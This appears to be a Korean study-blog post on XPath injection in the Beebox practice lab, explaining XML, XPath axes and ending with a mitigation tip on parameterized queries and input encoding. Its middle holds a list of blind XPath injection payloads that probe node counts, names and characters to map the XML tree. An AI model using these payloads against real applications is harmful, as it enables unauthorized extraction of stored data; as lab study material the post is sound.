본문 바로가기

Study records/Web hacking

[Beebox] XML/Xpath 인젝션

  • XML/Xpath 인젝션 : XML 구조에 악의적인 행위를 일으키는 내용을 삽입
  • XML : 데이터를 트리 구조의 노트로 표현, 사용자 정의로 데이터를 분류

 

 

  • Xpath : 일종의 쿼리, XML DB의 내용을 선택/조작

 

 

  • Xpath  명령어
명령어 설명
parent 현재 노드의 부모 노드
child 현재 노드의 자식노드
[ ] 조건문
node( ) 현재 노드로부터 모든 노드 조회

 

 

W3Schools에서는 XML 및 XPath에 대한 학습과 실습을 할 수 있다. 

 

 

모든 책의 제목 선택
카테고리가 'web'인 책의 제목 선택
2005년에 출판된 책의 제목 선택

 

 

 

 

neo' and count(../child::*)=6 or 'a'='b
neo' and count(../child::*)=5 or 'a'='b
neo' and string-length(name(parent::*))=6 or 'a'='b

 

neo' and substring(name(parent::*),1,1)='h' or 'a'='b

 

neo' and string-length(name(../child::*[position()=1]))=4 or 'a'='b

 

neo' and substring(name(../child::*[position()=1]), 1, 1)='h' or 'a'='b

 

neo' and string-length(name(/heroes/child::*))=4 or 'a'='b

 

neo' and string-length(name(//*))=6 or 'a'='b

 

 

 

 

 

매개변수화된 XPath 쿼리를 사용하여 쿼리 조작을 방지하고, 사용자 입력을 엔터티 인코딩하여 XPath 구문에 직접 삽입되지 않도록 한다.